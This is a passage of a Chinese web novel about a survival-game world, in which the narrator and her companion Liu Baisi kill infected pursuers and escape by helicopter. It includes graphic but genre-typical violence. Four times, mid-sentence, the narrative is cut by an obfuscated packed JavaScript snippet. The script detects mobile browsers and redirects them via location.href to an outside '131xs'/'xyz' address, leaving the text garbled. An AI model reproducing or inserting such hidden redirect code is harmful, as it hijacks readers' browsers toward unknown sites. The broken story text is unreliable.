刹那间,浑身脱力般,我腿脚一软,霍然跌坐于地,还牵动耳机线猛扯了一下电脑,慌得我赶紧抬手去扶,这才发现自己掌心里全是汗,一摸,电脑背板都印上五个汗津津的指印。 后知后觉地,手臂上的酸硬也被按下了重启键,肩膀涌起一阵阵扭伤似的刺痛,快要支撑不住电脑和上半身的重量。 抬头望向辽远的天空……不,此刻已不再辽远了,穹顶被乌云压得很低,翻墨遮山,还是那样令人喘不过气的灭顶之势,千骑突至,蹄声如雷,轰隆隆—— 不对,那是真正的雷声。 偶有紫白闪电在云层中穿梭,时隐时现,蛟龙般矫健。 快下雨了。 蜻蜓蜉蝣一类的报雨虫骤然多起来,低空掠过,纤薄透明的翅膀像一场幻梦。 这是虚假的还是真实的?它们也会做梦吗?也会被噩梦感染吗? 脑海中有一搭没一搭闪过古怪又无聊的问题,我甚至有闲心一个个反刍过去。 天气很糟糕,风很大,屁股也摔得很疼,但我心里却很畅快、很放松,松弛得像一块烤化的棉花糖。 要不是怕把雷招来,我真想大喊一声,把憋在心里的怨气都释放出去。 连日来压在心上的这一块大石头,总算落地了。 沙沙——“小夏,发送成功了吗?” 是柳白巳的声音,这次总算有好消息告诉他。 我答:“已经收到救援回复了,对方说明日凌晨四点半左右能赶到,随时保持联络。” 那边窸窸窣窣一阵,是衣料摩擦的动静。柳白巳继续道:“那就好,我——” “双手举起,放到脑后!” 咔哒一声,极轻微地拨动了耳尖。 我周身一凉,一瞬间如坠冰窖。 这声音我死也不会忘记。 是保险栓被拨动至FIRE档的声响。 良久,我才听见,对讲机那头的沉寂泛起涟漪。 “你别激动,我照做就是了。” 柳白巳的嗓音本就轻盈、凉薄,现在更是像一潭死水,平静不起波澜,叫人听不出情绪。 “快点!”沃克·柯林斯怒吼道,似乎离对讲机近了些,我的耳膜都震得颤了颤,仿佛金星在耳道里炸出些嗡嗡的火花。 “柯林斯先生,你冷静一点,这其中一定有什么误——” “夏,你别说话!” 沃克粗暴地打断我,声音又拉远了些:“黛西·格林,你和戴利·柯林斯到底是什么关系?为什么长得那么像?我从来没听说过他有个双胞胎妹妹!” 我第一反应是异卵双胞胎不像也正常。 但现在显然不是胡思乱想的时候。我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609703|172143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 立刻收拾起背包就往门口跑。 对讲机那头依旧剑拔弩张,火药味浓得一点就炸,双方僵持不下。 “你希望我是谁?”临危不惧,柳白巳轻慢地问。 “或者说,你在害怕什么?” 该死的,快闭嘴啊!这家伙还要激怒沃克! 真是嫌命长! “哈,管你是谁,我不会给你机会去告诉戴利的!” 眨眼间,山雨欲来风满楼,风驱急雨,云压轻雷,一只无形的大手猛地将我向后推去,生生阻挡住我前进的步伐。 雨点更是噼里啪啦打下来,我只好紧走几步,奋力跨进门里,砰一声重重摔上门,马不停蹄下楼。 然而紧接着,沃克癫狂的嘶吼刺得我耳膜生疼:“还有你,夏!我知道你和戴利一直有联系,你都告诉他多少东西了,嗯?” “我还没来得及告诉他!你冷静点,事情根本不像你想的那么糟糕!”我急忙安抚他。 “呵,你真的信了?小夏在骗你,一切都晚了——戴利已经知道你的所作所为了。” 然而柳白巳清越的嗓音紧接着响起——我真想顺着电波钻过去捂他的嘴。 祖宗,别说话了! 他先是嗤笑一声,继而满含不屑地,直言不讳道:“如果你爱戴利,为什么要求戴利一直戴着戒指,而自己和莱特在一起时,却一定会把戒指摘下来?戴利的婚戒尺寸甚至根本不合适他!” “闭嘴,我叫你闭嘴!枪在我手里!你这婊子养的,我马上就送你下地狱!” 该死该死该死,我明明都在拼命找补了,柳白巳为什么还要添乱?! 噔噔噔……急促脚步声回荡在楼梯间内,喘|息|粗|重。我的腿变得不像长在自己身上,只知不断地抬起又落下,不断地重复着踏在下一个台阶上的动作。 而对讲机的那头还在喋喋不休:“如果你爱戴利,为什么不向他坦诚你有施虐倾向?如果你爱戴利,为什么你要出轨?就因为莱特能满足你变态的嗜好? “你以为自己爱着戴利,实际上你只爱你自己! “你所谓的爱,根本就是一场精心编织的谎言!你伪装得很好,把自己都骗过去了! “沃克·柯林斯,你根本就不懂怎么爱一个人!” 听听这话,讲得头头是道的,我觉得恋综可以请柳白巳去当观察室嘉宾,绝对有看点。 明明已经习惯了奔跑状态,我的胃却瞬间收紧。 不是因为快速奔跑导致的,而是第六感猛然拉响了警报,疯狂叫嚣着让我快点停下快点停下! 汗毛倒竖,那种被盯上的不妙感觉又黏住了我,脚下遽然变得灌了铅一样沉重。 该死,快点挪动啊! “闭嘴闭嘴闭嘴!我叫你闭嘴!不要再说了! “只要我把你们都杀了,戴利就不会知道这一切!” 沃克失控的咆哮再度响起—— “砰!” 暗巷似的楼梯间蓦然在我视野中远去。 双脚离地的那一刻,我的灵魂仿佛都要被撞出躯壳。 大脑一片空白,我花了好半天才意识到发生了什么事——但实际上,悬浮在空中的时间估计也就只有一两秒罢了。 我像件物什般被高高抛起来,眼前的一切放慢到极致,下方锈红的荒原和一地残骸不断缩小,溅着血点的天花板近在眼前,触手可及。 天旋地转间,我霎时想明白了始终百思不得其解的那一点—— 第四天早上,伊丽莎白究竟躲在哪里? 44. 萨普莱斯(9) “好痛……” 身体猛地被撞飞出去,头晕眼花之际,一双小小的、肮脏的红皮鞋站定于我面前—— 一股死老鼠味。 胸廓阵阵剧痛,我蜷起腰腹,视野都模糊,头脑却愈发清醒。 伊丽莎白扑进来袭击莫莉之前,究竟躲在哪里? 这个问题其实不难解释。 而搞明白了这一点,一切疑难就都迎刃而解了。 偏偏不知为何,却被我一次又一次地忽略掉—— 第四天凌晨,抑或是更早,大脑已经被感染得几近失智的伊丽莎白没有听从不再是同类的我们的劝告,留守在餐厅里,而是溜了出去。 但碍于门外那根用鞋带子打成的齐柏林结,伊丽莎白无法推开门出去捕食分头行动的我们,也相当于是被困在了四楼内。 没关系,还有一个活人呢,黛西不是怎么叫也叫不醒吗? 那就吃她好了。 伊丽莎白这么想着。 但是,“黛西”出于某种原因,一整天都没有出来过。 最终伊丽莎白的蹲守宣告失败。 其它人也因为离开了房间,房门都关得好好的。 所以,如果不回餐厅,伊丽莎白能去哪儿呢? 最后她只能回到了自己的房间。 因为只有这个房间,她有房卡,可以自由进出。 那她的房间又在哪儿呢? 402。 这个房间的位置实在很微妙,就在餐厅旁边,进出楼梯间或电梯都要路过402门口。 换言之,整层楼所有人的动向,都尽在这个房间的掌握之中。 不论是我和一个从没见过的、同样是黑发的陌生人勾肩搭背地走进来也好,莫莉苍白着一张脸、惊魂未定踉踉跄跄地独自走进来也好,莱特整个人几乎像条鼻涕虫一样粘在沃克身上、两人呈连体婴状走进来也好…… 这些动静,都逃不过躲在402门后的伊丽莎白。 虽然被病毒啃食过的脑子的确不比正常人的好使,但架不住她房间的位置实在是得天独厚——可能她在择偶方面的运气都用在了房间分配上吧。 哦不,我似乎很擅长讲地狱笑话呢。 总之,在主动和被动的双向驱使下,伊丽莎白用那张本来就属于她的房卡,藏进402房中,透过猫眼,暗自观察着楼梯间入口。 等所有人都到齐了,再偷溜出来,瞧准时机,进行捕猎和复仇—— 然后被一枪反杀。 但同时我们也损失惨重:莱特死亡、莫莉重伤。 而伊丽莎白想要“复仇”的对象,却安然无恙地活着,手脚齐全,甚至刚刚还向柳白巳开了一枪。 真是不公平呢。 不,这都不重要,重要的是—— 房卡。 为什么我会这么说呢? “露娜,还等什么,帮爸爸杀了她!” 对讲机那头,沃克气喘如牛的吼声再次响起,近乎嚎叫,恨不得钻出对讲机,亲自撕碎我。 我的耳朵都快聋了。 但—— 这叫声不是来自我手上的对讲机。 而是来自那只满是泥污的小手里的对讲机。 但自从我明白了她是如何长到这么大之后,她手上的泥污从何而来,就不言自明了。 那是干涸氧化后的血渍,黑乎乎,黏腻腻。 她母亲的。 准确来说,是从她母亲肚子里,挖出来的。 “聪明的姐姐,又见面了!” 名为露娜的小女孩歪着那张猿猴般发紫肿胀的脸,俯下身,油腻腻的沥青状长发垂下来,几乎掉进我嘴里—— 那股恶心的死老鼠味更浓重了。 “你、你怎么会……你明知道沃克根本不可能是你的父亲……” 我声音微弱得自己都快听不见了。 头上已经密密地布了一层冷汗,胸腔中阵痛不止,整个人动弹不得。 肋骨摔断了吗? “嗯……好香啊!” 我眼睁睁看着她凑近,全然不顾我的厌恶躲避,朝我颈间嗅了一口,而后闭上眼,脸上露出陶醉回味的神情。 “姐姐,你很有做食物的自觉嘛,又恢复了鲜美可口的味道呢。” 最可气的是,她嘴角也漏出一条晶莹的银线,一条接一条,一段接一段,末端滴滴答答断成水滴状。 顷刻间,我的军绿色外套上就多出了一小片明显加深的湿痕——酸腐味一个劲往鼻子里钻,我登时只觉五内翻腾,张嘴就想吐。 我一定要把这外套扔了! “呕——咳咳……” 这不是我的声音。 “快、快松开……” 说时迟那时快,我抬头、露娜低头,两人同时望向了她手里嗡嗡作响的对讲机—— 是沃克的声音! 他听起来很痛苦,声音淹没在齿间,吐字都艰难,一颗一颗挤出嘴唇,仿佛正忍受着极大的压迫和窒息。 “嘶嘶……呼——嗬!” 这又是什么声音? 我心下一紧,试探地问:“柳——黛西?” 嘶嘶作响的异动戛然而止。 “哈、哈……什么黛西!” 沃克的嗓子跟个破败的风箱一样,连挤出的声息都像被刀片刮过,嘲弄意味十足的笑声嘲哳,伴着刺啦刺啦的电流声不绝于耳。 他嘶哑地喊:“夏!你不要被她骗了!她根本不是人!她是——呃!” “砰!” 又一声枪响后,对讲机被骤然掐灭。 “看来那边也很精彩呢!” 露娜听得津津有味,吮着手指,吸得啧啧有声,看得我翻肠倒肚,胸中作恶,徒劳地张着嘴,却连一滴酸水也吐不出来。 “爸爸说要把姐姐送给我吃,果然办到啦,我好高兴啊! “咦,姐姐,你的脸色看起来怎么这么差劲呢?很疼吗?” 她咯咯笑着,语气兴奋,一句接一句,银铃般清脆的童声回荡在血迹斑斑的走廊内。 “不如我趁早把你吃了吧,这样,你就不用忍受这些痛苦啦!” 话音未落,她已迫不及待地张开血盆大口,嘴角开裂,几乎占据了整张脸;深处,细密的层层锯齿蠕动着相互摩擦,捕蝇草似的肉红色口腔带着股泔水般发酸的馊气,猛地笼罩而下! 咔! 完美亮眼的洁白牙齿狠狠咬在黑色塑料外壳上,上下颌用力一合,对讲机顿时碎成了一口渣渣,极淡的电光萦绕其上,白烟滚滚。淡黄色的液体自烟雾中飞溅而出,直冲我面中而来! 千分之一秒之际,我立刻意识到那是具有腐蚀性的电解液,就地一翻,闪身便躲,同时借着这动作从口袋中抽出一物,咬牙忍住肋间尖锐的刺痛,反手便刺—— 噗哧! “啊啊啊啊啊啊啊啊啊——姐姐!姐姐!” 露娜凄厉地嚎叫着,小手狂乱地去抓我的手,想拔出那把不偏不倚正中她太阳穴的螺丝刀,塞满污泥的长指甲暴怒地在我手臂上深深划出道道伤痕,皮开肉绽、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609704|172143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 血流不止。 然而这新鲜的血液气息又进一步刺激了她的癫狂。她垂涎三尺,贪婪地伸着舌头去舔、饥渴地仰着脖子去够我臂上淌下的血珠,凌乱黑发下的双目睁大得出奇,几乎赤红滴血。螺丝刀插得越深,她挣扎得就越发厉害,尖锐的甲刃有几次甚至险险擦着我眼皮而过,再进毫厘,就能把眼球整个挖出来。 我丝毫不敢松懈,用了十成十的力道,更深地将杆身插进她颅内那些不知名的松软组织中,那触感像极了老化的海绵。我强逼自己目不转睛,一定要看着她彻底咽气才松手。 露娜由一开始的尖叫咒骂、恶言泼语,到后来的痛哭流涕,不断哀求我放过她。 “姐姐、姐姐,快放开我,我再也不敢了、再也不敢了!” 我不为所动,只是心里煎熬地想着她什么时候能闭上嘴。 挣扎间,有什么东西嗒啦一声从她身上掉下。我定睛一看—— 是一张卡片,外表与普通房卡一般无二,唯一不同之处在于,上面写着“应急卡”三个大字。 我恍惚间想:原来,柳白巳还真没骗我啊。 既然伊丽莎白可以躲回得天独厚的402,那露娜当然也可以藏身在具有同样条件的502。 又不知过了多久,她终于奄奄一息,用最后的力气,怨毒地瞪了我一眼——半颗眼珠子鼓凸出眼眶,几乎要掉出来,我甚至能看清球体背后那些触手般的血丝。 然后,她咽下最后一口气,小眼乌珠一闭,死了。 像她,像它们这样的怪物,也需要呼吸吗? 怦咚、怦咚、怦咚…… 心脏每一次触底,激烈的心跳都在拷问着我。它像是把自己架在火上烤,烤熟了,流出来名为良知的油脂。 归根结底,不同于伊丽莎白,露娜她,还是太像人类了。 我撒开手,趔趄着退后两步,顺着墙,慢慢滑下来,腿早就软得面条一样了。 她没了支撑,已有我一半高的身体嗵一声砸在饱吸陈血的地毯上。 “别叫我姐姐。” 盯着露娜的尸体,我低声说。 我讨厌被叫“姐姐”,甚至可能患有相关的PTSD。 这事没多少人信,听到我这么说的每一个人,要么一脸怀疑,要么以为我在开玩笑,没有人相信我害怕被这么叫,毕竟这只是一个再普通不过的称呼。 但除了一个人。 柳白巳。 虽然那时我俩还处于三天一小吵、五天一大吵,彼此看对方哪哪都不顺眼的阶段,但自从他发现我对这个称呼产生了明显的抵触之后,就算是开玩笑,也会尽量避免别人这么叫我。 他还以为我没发现。 注意力回到自己身上后,肋间那股由一点产生、放射至四周的痛感变得愈发鲜明,每一次呼吸都像拿尖刀剔肉。 我放缓呼吸,尝试着用手按了按疼痛最明显的地方,登时眼前一黑,本能地蜷起腰腹,佝偻着背,试图缓解——那感觉就像有一把剔骨刀马上就要破膛而出一样。 看来肋骨真的断了。 “小夏!小夏!” 来人气喘吁吁,声线止不住地发抖。 不知又过了多久,我听见有人唤我,于是费力地撑开眼皮。 还没完全睁开眼,一双手已经搭在我肩上,刚要晃—— “停……”我有气无力地挤出一个字。 千万别晃,万一骨头断口扎进内脏怎么办?一旦大出血,那可就真的无力回天了。 “我来晚了,你怎么样?” 45. 萨普莱斯(10) 甫一睁眼,就撞进柳白巳惊惶湿润的美眸中。他小半张脸溅着血,如细白瓷溅着釉里红,有点脏兮兮的。头发也跑乱了,低马尾松松垮垮。 要不怎么说美人宜灯下观之呢,借着嵌进天花板里的暖黄灯光,我顿时惊觉,他就算蓬头垢面,也有种惊心动魄的美。 这一刻,我难得地产生了些自惭形秽的想法。 看着他慌乱到手足无措,一副想扶我又不敢动的神色,我张张嘴,发现自己发不出正常音量,只能用气声一点一点告诉他:“应该是肋骨断了……” 又问他:“现在几点了?” 我痛得连抬腕看一眼表都做不到了。 柳白巳知道我正戴着莫莉的那块手表,便轻轻抬起我的手看了一眼:“晚上九点。” 时间流速明显又加快了,已经比二倍速还要快了。 我忍着剧痛,吩咐他:“我走不动了,就、就在这里……坐着等你。你回四楼,去把莫莉背上来,再……随便带点什么能用上的…… “对了,对讲机坏了,你去、去拿我房间里的收音机,应该还能拿来接收信号……” 说着,吃力地抬手,指了指掉在不远处的那张应急卡。 第一次搜查502时找到的小收音机,没想到还能派上用场。 本以为这个小任务,他当然可以轻松完成。岂料,柳白巳听完后,脸色黯淡下去,说: “小夏,你没发现吗? “莫莉早在昨晚你去看她之前,已经断气了。” 我蓦地睁大眼—— 看向他,看向他的双唇。 这双淡色的唇刚才一张一合,语气是一贯的温柔,说出来的话却接连砸得我晕头转向。 “什么叫……断气了?” 大脑一片空白,我做梦似的喃喃道。 明明昨晚去看她,人还是好好的,虽然脸色煞白……她只是睡着了而已。 “小夏,你仔细想想……” 对,只是睡着了而已。 “什么叫,断气了?” 柳白巳还要说话,已被我先一步打断,大脑和嘴各动各的。 视野渐渐模糊,雾气中,眼前只有他那双鲜红瞳孔还算清晰。 我用正常音量,坚持地说:“她没断气。” “小夏!” 柳白巳难得对我加大了音量—— “她受了那么重的伤,根本就不可能活下来的!” 他专注地望着我,朱砂似的瞳孔微微晃了一晃,像是能望进我的内心。 “我们没给她清理伤口,她却连烧都没发,为什么? “昨晚,你难道没有试试她的鼻息和脉搏吗?” 啊—— 我想起来了。 今天我只吃了一颗苹果,就是在天台上吃的那一颗。 这是我最后的食物了。 因为最后一包黄油曲奇,已经被我塞进了莫莉的手心。 “呼——我忘记了。” 我轻轻拂开他搭在我肩上的手,“你先去吧,让我一个人待一会儿。” 他反反复复打量着我,目露担忧,仿佛很不放心我一个人待着,但仍然站起身来,牛仔裤挺括的面料在我眼前拔地而起,两条腿笔直修长——我眼前却蓦然闪过一条通体银白的蛇缓缓爬行的画面,鳞片波光粼粼,像跳跃在湖面上的月光。 “等等。”我一时间顾不上疼,一把拽住他的手。 “怎么了?” “最后一个问题。” 我还是只能用气息说话,但柳白巳瞬间被这句轻飘飘的话钉在了原地,被我握住的那只手渐渐变得僵硬。 他知道,我是在要求他履行海龟汤的承诺。 “最后一个问题——” 我又重复了一遍。 “柳白巳。 “你是人类吗?” 我努力维持着正常音量,一字一句地问。 他很久都没有说话,细细的颤抖从我握住他的那只手上传来。 “回答我。”我用不容违抗的口吻出声催促他。 “如果我说不是,你会怎么样? “又要抛弃我一次吗?” “不会……” “你现在失忆,当然说得好听!” 柳白巳猛地转过身来,一双眼含泪带怨地瞪着我——眉毛向下拉皱,下眼睑轻微抽动着,连卧蚕都挤出来了——我知道那是他竭力不让眼泪掉下来的动作。 “别哭……”他一哭我就没辙,站又实在站不起来,只好轻轻挠挠他的掌心,权作安抚,“我想起来了,全都想起来了,这次绝对不会再丢下你了。” 他垂头看我,一颗眼泪倏地顺着低头的动作掉下来,紧接着又是一滴,跟什么开关被开启了一样,雨点似的砸在我额头上。 柳白巳神色怔怔,好似无法听懂我说的话,机械性地重复了一遍: “你说,你全都想起来了?” “是,全想起来了。”我痛得快要没力气抓住他了,左手慢慢松开,“在露娜把我撞飞之后……” “小夏、小夏,对不起,是我不好……” 柳白巳终于意识到不对,慌慌张张蹲下来,扶着我坐好,“你就在这里等着,我现在就去拿收音机。这次我们一定要一起逃走……” “好。”我努力对他挤出一抹笑,虽然自己看不见,但我透过他的表情得知,这笑容肯定很难看,“一起走。” 审视一般,深深地、沉沉地,柳白巳的目光滑过我的脸,这才默不作声转身走了。 一秒、两秒、三秒、四秒…… 脚步声会被地毯吸收掉,所以我刻意默数了几秒,确定他已经离开了五楼,这才长出了一口气。 但这动作牵动了肋间的断伤,所以我立马又被痛得倒吸一口凉气,一来一回,自己都忍不住想笑。 我知道柳白巳没有对我完全放松警惕。而他的怀疑也不无道理,因为我的确尚余十分之一的记忆没想起来。 这次轮到他不信任我了。 我拿枪指了他两次,那是不是轮到他指回来了? 真是风水轮流转。 思及此,我又想笑,但碍于眼下的情况,只好无声地扯了扯嘴角,就当笑过了。 对了,说到枪——沃克不是对柳白巳开过枪了吗? 但听当时对讲机里的动静,最后那颗子弹,分明是被柳白巳用来杀死沃克了啊? 难不成柳白巳记错了,多出来一颗子弹? 我苦思冥想也没搞懂这究竟是怎么回事,不仅没理清线头,太阳穴似乎也要跟着肋骨一起胀痛起来了,只好暂时搁置,放空大脑,闭目养神。 柳白巳只用了“两个小时”就回来了,手里拿着那只巴掌大的收音机,彼时天边已经隐隐透出轻纱似的晨光。 朝夕光阴,也不过是弹指一瞬。 所幸动动手指的力气还是有的。我将收音机调到刚才与救援队联络的频道,却只有唰啦啦的雪花音。 “还没到吗?已经三点了。” 救援队也喜欢踩点吗?说好四点半到,早一分钟晚一分钟都不行。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609705|172143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是说,又是代码运行的结果?在这里待久了,我有时候真的会忘记这里并非真实的世界。 我捻着天线,一截一截将它徐徐拉长,颇有些百无聊赖。 我理所当然地认为柳白巳会接话,然而却等了个空。 正想转头去看他,肩上突然轻轻压下来什么又冷又香的东西,雪松一般,又像薄荷。 是他的头。 从这个角度,自上而下,我能将他浓密卷翘的长睫和精巧瓷白的下巴尽收眼底。 不知为何,他今日没将嘴唇涂成鲜艳欲滴的颜色,原本的唇色淡淡的,像樱花味的果冻,反而更加……诱人采撷。 “小夏……” “嗯?” 我盯他盯得正出神,冷不丁被唤了一声,神智瞬间回神。意识到自己已经多次被美色所惑后,有些心虚的同时,又忍不住唾弃自己真是没出息。 然而转念再一想,不是有人说什么“爱能止痛”吗?那我今天就拿美色当布洛芬,可不比那强多了? 看看而已,又不花钱。扯小红本还要九块呢。 于是马上又释然了。 “我们出去之后,立刻回柳家好不好?” “回你家?要干嘛?” 我随口接话,视线心安理得地在他那颗小小的唇边痣上流连。 身上长痣,简直就像自带提示,提示我该往哪儿吻。 “结契。” “结契?” “就是结婚。” 哦,原来是结—— 结结结结结婚?! 他之前才说过不会逼我! 这才几天就全忘个精光,他的记忆力有这么差么? “对,用你们人类的话来说,是结婚,但又和现代社会的结婚不一样,只是在你的魂魄上做一个小小的标记。” 他小心翼翼从我肩上起来,冰凉柔顺的黑发穿过我的指间,发梢拂过,像在手背上轻轻烙下一个吻。 “这样,就连死亡……也无法将我们分开。” 柳白巳直直望进我的眼里,诡艳红瞳闪烁不定,神色却无比温柔。 我看他真是疯了。 不知为何,我本能地不想听到他嘴里蹦出“死亡”两个字,当即抬手捂住他嘴——不只是出于对婚姻关系全无信心的缘故。 “以我们的关系,现在说这个,是不是有点太早——” "AnyoneHotel,rescueteamhasarrivedon-site.Standbyforassistance.(Anyone酒店,救援队已到达现场。请等待支援。)" "Repeat:AnyoneHotel,rescueteamhasarrivedon-site.Standbyforassistance.(重复一遍:Anyone酒店,救援队已到达现场。请等待支援。)" “早唔哎晚唔哎,噗噗这固时怄哎。”柳白巳嘴还被我捂着,含糊不清地抱怨道。 大概是在说“早不来晚不来,偏偏这个时候来”。他这副样子实在可爱,我忍不住笑了一下,声音压得低低的,凑到他耳边。 “出去以后,不要乱走,等我去找你。” 柳白巳的眼睛蓦地亮起来,黑眼珠间那条猫眼似的酒红色亮带灵转活泛,嘴角都快和太阳肩并肩了。 “真的吗?你保证这次绝对不会乱跑了?” 楼梯间里已传来哒哒哒的脚步声了,错杂凌乱,人数不少。 “我要做什么才能让你安心?” 46. 萨普莱斯(11) 柳白巳果然还是不够信任我。 剩余的那十分之一记忆到底发生了什么?他为什么这么没有安全感? 一种不安的感觉慢慢从心底的土壤钻出来,生长发芽。 我一动脑,想拼命找回丢失的记忆,脑仁就开始抗议,开始叫嚣着给我点颜色看看,越想越头疼,我只得放弃。 正苦恼着,手腕上忽然传来咔嗒一声,似乎是什么卡扣合上了。 我低头一看,柳白巳粉润的指甲正搭在我手腕上——那里多出来一条银白色的皮绳,光华流转,灯光下更是映射出五彩斑斓的白。 “你说的哦,出去以后,不许逃跑。” 他贴着我嘴唇低声说,沁凉的吐息几乎钻进我的唇缝渡进来。 于是我又开始头晕目眩,一时间分不清是因为伤势过重还是因为他的诱惑。 "Hey,putyourhandsup!(嘿,举起双手!)" 凌乱的脚步声停了,尽头有灯光和枪口向我们指来。我们默契地对视一眼,没说话,缓缓举起双手,放在脑袋旁边。 “你们是什么人?” “向你们发出求救信号的人。” 这动作使我更痛了。我勉强保持着举起双手的动作,仅仅只是用下巴点了点放在一旁的收音机和笔记本电脑,示意他们自己去看。 “我肋骨断了,你们有什么办法解决吗?” “你就是负伤的那个人?6413,去取真空负压夹板和吗啡来。” 我精神一振。 这串数字是我和萧鸮的暗号,如果它出现了,就代表着安全和可信。 为首的那个人收了枪,朝后一挥手,后面的人也齐刷刷收起枪,立在身侧。 队伍最末的一个人转身,噔噔噔上了楼。 为首之人走近前来,自我介绍说可以叫他诺克图,并向我们询问楼里的状况。 我一一回复过去,顺带解释了为什么求救信号说是四个人,如今却只剩两个人。 一边说,一边不动声色地打量他—— 虎背熊腰,荷枪实弹,全副武装,包裹得严严实实,只露出护目镜下的一双眼睛。 我敢打赌,性癖是覆面系的人,一定会喜欢这种。 比如某个不愿意透露姓名的萧姓女子。 这个角色捏得这么精致,一看就知道是她花费了很多心思建的。 正胡思乱想着,手心又被捏了捏,一瞧见柳白巳那双红瞳和幽怨的脸色,就知道他又开了读心术。 这东西一开一关不消耗精神力吗? 我说:“我现在痛得很,你能不能消停点。” “好吧……” 他应得倒快,嘴巴却撅得老高,明显又不高兴了。 男人的心真难懂。 约莫一小时后,救援队扫楼完成,我的胸廓也被真空胸带和骨盆固定带固定好,并注射了一针吗啡,痛感很快便消退下去。 我缓缓站起来,似乎又能跑能跳了,忍不住感慨这东西可真厉害,难怪要严格管制起来。 再者,无病无灾的感觉真好。 我们一行人到达天台,晨光熹微,鱼鳞状的云块密密麻麻铺于蓝底之上,像一头展翅高飞的鲲鹏,意欲飞向远方。 嗡嗡嗡的螺旋桨叶旋转声如高空雷暴,抬头一看,一架黑色直升飞机悬停在高处,桨叶掀起巨大气流,舱门处放下来一条橘红色的软梯。 诺克图说他可以背我上去,我点点头,却下意识先去看柳白巳—— 还不等转头过去,手已先一步被拉住。 若明若暗的天色下,他一张脸形如鬼魅,苍白得一点血色也无,唯有瞳孔红得像血,像两团流动的火焰,熊熊燃烧。 他说:“小夏。我……” 这样光线不充足的环境下,我原本疑心他惨白的脸色只是我的幻觉,但他微微抽搐的面颊和额上层层的冷汗,又真真切切在告诉我,他现在正处于极度恐慌的情况下。 “怎么了?” 我努力放缓语气,不仅是为了安抚他,也是为了掩饰心中那股莫名的焦虑急躁。 每当这种感觉出现时,我就知道,肯定又有什么细节被我忽略掉了。 “没事。”不知为何,他原本已经到嘴边的话又咽了回去。 柳白巳整张脸都汗涔涔的了,但还是给了我一个宽慰的笑容,虽然是勉强挤出来的,“你先上去吧,我在后面护着你。” 这家伙一定有鬼。 我眼珠一转,说:“那你来背我。诺克图,你能教教他该如何背一个伤患吗?” 虽然隔着面罩看不见诺克图的脸,但注视着护目镜后那双蓝色眼珠,我能感觉出他现在正一脸为难:“按规定,‘火警式’背负必须训练至少40小时……” 我淡定地说:“别人背我他要吃醋的,这不,脸都气白了。” 这里到底还是副本世界,诺克图仅仅只是怀疑地看了看柳白巳的脸色,就勉为其难同意了。 于是在诺克图的指导下,我双臂交叉于柳白巳胸前,尽量避免压到胸廓。他还算熟练地背起我,一只手抓住绳梯,膝盖屈起,低声说了句“抱紧了”,就慢慢往上爬。 天边泛出鱼肚白,随着身体一点一点升上半空,一轮红日飞快地升起,天朗气清,不复连日来的地狱图景。 不用自己出力,我遥望天边的鱼鳞纹,惬意地看着它们在晨风吹拂下,如展翅高飞的鲲鹏缓缓游移,渐渐拼成了D,R,O,P—— DROP?! 这四个字母立刻在我大脑中掀起了风暴。 刹那间,伊德海拉向我展示过的那枚硬币又浮现在眼前:睡在罂粟花丛中的双翼男人直直从天际坠落,翅膀徒劳又无声地挣扎着。 再接着,“5.成功逃离”的字样又倏然闪过。 “正在准备重置中……” 朦朦胧胧,辽远的天空之上,那条鲲鹏的残骸发出了悦耳的女声。 是萧鸮的嗓音。 剩余的记忆顿时如潮水般涌入脑海,进度条不断奋力奔跑着,最后一块拼图终于缓缓拼上—— 我的眼睛仿佛能向内张望,于一片漆黑中,看见我的大脑跟褒奖我似的,像灯泡那样啪地一亮。 这一刻,我终于明白萧鸮提及的“脱离副本的方法”,指的是什么了。 进度条加载90%…… 不能再犹豫了。我深吸一口气,附到柳白巳耳边,清楚地喊他的名字。 “柳白巳。” 同时手向他胸前伸去。 他向上攀爬的动作猛地停滞在半空,心有所感似的,“别……” “怎么突然停了?”跟在后面的诺克图探出头。 进度条加载93%…… 一时间我们谁都顾不上回答他。 柳白巳转了半边脸过来,我能看见他的眼球震颤着,瞳孔灼亮,面色惨白,嘴唇微张。 他知道我要干什么了。 “听我说。” 所以我抢先一步截断他的话头,“无论我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 